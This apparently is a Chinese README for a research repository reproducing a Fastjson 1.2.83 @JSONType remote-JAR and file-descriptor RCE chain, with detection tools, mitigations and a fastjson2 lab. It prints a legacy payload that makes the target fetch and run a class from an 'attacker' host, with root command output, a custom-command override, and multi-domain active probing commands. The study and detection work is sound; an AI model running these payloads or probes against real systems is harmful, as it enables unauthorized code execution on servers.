Fastjson @JSONType 远程 JAR/FD 链实验与检测

本仓库目前保留了两条不同的 Fastjson 研究方向：

• modern-fd/ 是**仅标记（marker-only）**的复现，对应 Spring Boot 3、普通内嵌 Tomcat 和 JDK 17 上 Fastjson 1.2.83 的单请求体远程 JAR/文件描述符链。它使用固定 DTO 的字面接收点 JSON.parseObject(body, BoundEnvelope.class)，并且 AutoType 处于关闭状态。
• 原始顶层 Docker Compose 实验保留的是更早的 JDK 8 直接远程类加载路线。它可以执行命令，应视为遗留的、隔离的验证原型，而不是现代 JDK 方法。
• scanner/ 包含被动请求/日志检测、静态产物清单以及不执行任何代码的可达性探测工具。

这个 bug 在于：ParserConfig.checkAutoType 会通过 getResourceAsStream(typeName.replace('.','/') + ".class") 对每个 @type 值探测是否存在 @JSONType 注解。 在现代 Linux/JDK 组合上，远程 jar:http 探测可能会让 JAR 缓存保留在某个打开的描述符之后；同一请求体中后续的 jar:file:/proc/self/fd/N 探测可以在合法类名下重新打开它，并初始化某个带注解的类。这一精确的 1.2.83 组合在 AutoType 关闭 且经由一个包含 List<Object> 的固定 DTO 时依然有效。因此，仅做 DTO 绑定并不能起到缓解作用。完整讲解见 docs/MECHANISM.md。

安全审查发现

配套的全项目审查覆盖了 Fastjson 1.2.83 全部 193 个生产 Java 文件中的 2,041 个可调用/静态初始化器条目。下表按影响优先级排列；这并不意味着每个 Fastjson 部署都受影响。本仓库直接复现了 F105。其余条目是对单独封存的源码审查和限定范围实验证据的总结。

验证标签、前提条件、较低优先级发现、修复优先级以及明确的负面边界，请参阅 findings/FINDINGS.md。

⚠️ 仅限授权使用

本仓库仅用于教育、防御性研究和经授权测试，适用于你拥有或明确获准测试的系统。现代实验内部网络如需发布服务，仅请求绑定在 127.0.0.1；其脚本完全在该隔离网络内驱动测试。现代实验没有任何进程执行原语，只设置一个固定的 JVM 内标记。 遗留 JDK 8 实验确实会执行 id 并将其输出写入 /tmp/PWNED；请保持其隔离。不要将遗留漏洞利用或主动探测指向未经授权的系统。

扫描你自己的环境

scanner/ 目录提供了四个无依赖的 Python 3 工具（无需 pip 安装）。

• fjdetect.py — 被动检查解码后的 JSON 请求体或结构化 JSON 日志，寻找远程 JAR 种子以及 /proc/self/fd 或 /dev/fd 序列。
• fjscan_static.py — 对 jars/wars/ears 进行清单盘点，识别存在漏洞的组合（基于内容验证的 1.2.83 × 实际 Spring Boot loader 类内容，并带元数据核实）。带探测特征的 1.2.48–1.2.82 版本以及仅元数据/文件名的候选者会单独报告以供审查。适合 CI 门禁（在 EXPOSED 时以退出码 2 结束）。
• fjscan_probe.py — 主动但安全的可达性检查：将 @type 发送到你控制的 canary（内置监听器或 Burp Collaborator / interactsh），并关联资源获取回调。其内置监听器返回空 404；外部监听器请做等价配置。回调并不证明类加载或 RCE。
• fjpayload.py — 为手工测试生成远程资源获取请求体；当不打算执行代码时，只使用空/404 监听器。

# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl

# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
#    DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -

# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt

domains.txt = 每行一个目标——完整的 [METHOD ]URL 或裸域名（通过 --scheme / --target-port / --path 展开）；允许 # 注释：

api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080

选项

fjscan_probe.py（主动探测）

fjscan_static.py（清单盘点）：<paths…> · --threads N（默认 8）· --json（机器可读输出；若存在任何 EXPOSED，退出码为 2）。

fjpayload.py（生成器）：<collaborator> · --targets-file/-f <file|->（批量）· --port · --token · --wrap · --entry。

Collaborator 说明： @JSONType 的 jar: 接收点会执行 typeName.replace('.','/')，因此主机名中的每个点都会变成斜杠——带点的 Burp Collaborator 子域名（abc.oastify.com）无法通过它送达（工具会回退到整数 IP + URL 路径 token）。若要把回调送进公共 Collaborator，请使用 --probe-type dns：java.net.Inet4Address 原语接受带点主机名并触发 DNS 交互（<tok>.<sub>.oastify.com），从而确认 Inet4Address 解析原语 + 出网能力。这是前提性证据，并非远程 JAR/FD 终点的证明。参见 scanner/README.md。

仅标记的现代 JDK 实验（推荐）

要求： Docker + Docker Compose，并且首次构建时能访问 Maven Central（用于获取 fastjson / spring-boot-loader / asm）。

cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh

正例向普通内嵌 Tomcat 的请求线程发送一个请求体。其字面接收点是 final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class)。成功仅指固定属性与日志 token FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1；响应仍会返回正常绑定的 BoundEnvelope。证据目录包含请求、响应、容器元数据、日志和 SHA-256 清单。

对照实验涵盖普通 JSON、无种子的 FD 候选、先有种子后接不可能描述符，以及 SafeMode。参见 modern-fd/README.md。

FearsOff 披露展示了同样的保留 JAR 终点在 JDK 21 上的表现，它使用进程持久缓存，并且每个请求只带一个 FD 候选。本仓库的现代实验则复现了单请求体 JDK 17 组合：失败软种子和有界 FD 候选由同一个固定 DTO 请求携带。JDK 21 仍属外部报告，不是本仓库产出的运行时结果。

遗留 JDK 8 直接类实验

原始的顶层 Compose 项目仍可用于复现更早的单阶段路线。与 modern-fd/ 不同，它可以执行命令，且只能在隔离实验环境中运行：

make up
make exploit
make down

make exploit 的预期输出：

[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

ClassCastException 正说明绑定并不是缓解措施：攻击者类在 @type 探测期间就会运行其 <clinit>，早于 fastjson 试图将其转换为 Dto 之前。

遗留路线的变体

• 仅直接类路线： 将 target/Dockerfile 改为 JDK 17 会阻止这种遗留的构造类名定义，只留下一次资源获取。该结果并不测试或缓解 modern-fd/ 中独立的 /proc/self/fd 延续。
• 证明不是 autoType： 目标从未调用 setAutoTypeSupport(true)——请查看 http://127.0.0.1:8080/ 上的横幅。
• 自定义命令： PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker。

仓库结构

缓解措施

在普通无 handler 的路径上启用 -Dfastjson.parser.safeMode=true，或者在不便立即迁移时使用厂商的 com.alibaba:fastjson:1.2.83_noneautotype 构建，并审计已安装的 AutoTypeCheckHandler。限制 JVM 出网；将不可信解析迁移出 Fastjson 1.x；对解码后的 @type 远程 JAR 种子以及 /proc/self/fd 或 /dev/fd 候选，既要在单请求内告警，也要跨请求关联告警。对于现代组合，DTO 绑定与 JDK 9+ 都不是完整的缓解措施。

fastjson2 —— 默认配置下的一个独立问题

fastjson2/ 是第二个独立实验。fastjson2 不包含 fastjson 1.x 的 @JSONType 资源探测。然而，只要解析路径涉及多态类型，即使 autoType 关闭，攻击者控制的 @type 也能到达 ClassLoader.loadClass()——因为 ObjectReaderSeeAlso 的构造函数硬编码了 SupportAutoType，而且 seeAlso 未命中时会先回退到完整的 autoType 解析，然后才执行可赋值性以及 DataSource/RowSet 检查。

触发条件都是普通的建模注解——@JSONType(seeAlso=)、Jackson @JsonSubTypes（因为 useJacksonAnnotation 默认为 true 而被支持）、@JsonTypeInfo、sealed 类型。在 Spring Boot fat jar 下，上下文类加载器可以解析 jar:http: 名称，因此类会从网络获取并运行其静态初始化器。

已在 fastjson2 2.0.62（最新版）和 2.0.57 上、JDK 8 环境中复现。safeMode=true 可阻止它；JDK 17 将其降级为 SSRF；autoTypeFilter(...) 无法防护。由 Chaitin（长亭） 披露，约 2026-07-25——这不是本仓库的发现。维护者正在 PR #7703（取代已关闭的 #7695）中推进加固工作，该 PR 会拒绝类型名中的 : 和 !；当前没有任何已发布版本包含该修复——2.0.62 早于这两个 PR。

make fj2-safety     # prove the payload is marker-only
make fj2-positive   # default config -> remote class defined + initialised
make fj2-controls   # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist

致谢与参考

• 原始披露与技术文章： Kirill Firsov（@k_firsov，FearsOff）—— FastJson 1.2.83 Remote Code Execution（2026年7月21日）。该文披露了本仓库所复现的 JDK 8 直接类与现代保留 JAR /proc/self/fd 机制。
• 维护者公告： Alibaba —— Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83。该公告报告了类型化 API 的可达性，并覆盖 Spring Boot 2.x–4.x 以及 JDK 8/11/17/21 上的验证。这些更宽的版本/运行时矩阵是上游报告的；本仓库的运行时验证仍限于文档所述的 Fastjson 1.2.83 JDK 8 和 JDK 17 路线。
• 公开 PoC 与 @JSONType / jar-URL 内部名称技术： @wouijvziqy —— https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC。attacker/Gen.java 为本实验重新实现了该技术。
• 现代 JDK FD 链报告： 微信公众号文章 以及更早的 Cnyes 详细报告 提供了保留 JAR /proc/self/fd 的假设。它们被视为外部报告，而非独立的运行时证明。
• 公开的 Linux FD 实现： DmTomHL/fastjson-1.2.83-gadget-rce 缩小了复现缺口。其可执行命令的代码仅经过静态审查，并未运行；modern-fd/ 使用独立编写的仅标记类和一个正常的固定 DTO Tomcat 端点。
• fastjson2 autoType 披露： Chaitin（长亭），约 2026-07-25。fastjson2/ 实验是对该披露的独立复现，并非本仓库的原创发现。跟踪线程：issue #7702（由用户 开启）；维护者加固见 / 已关闭的 。

本实验与 scanner/ 工具将这些发现打包成可复现的测试平台和防御性检查工具。与上述研究人员无关联，也未获其认可。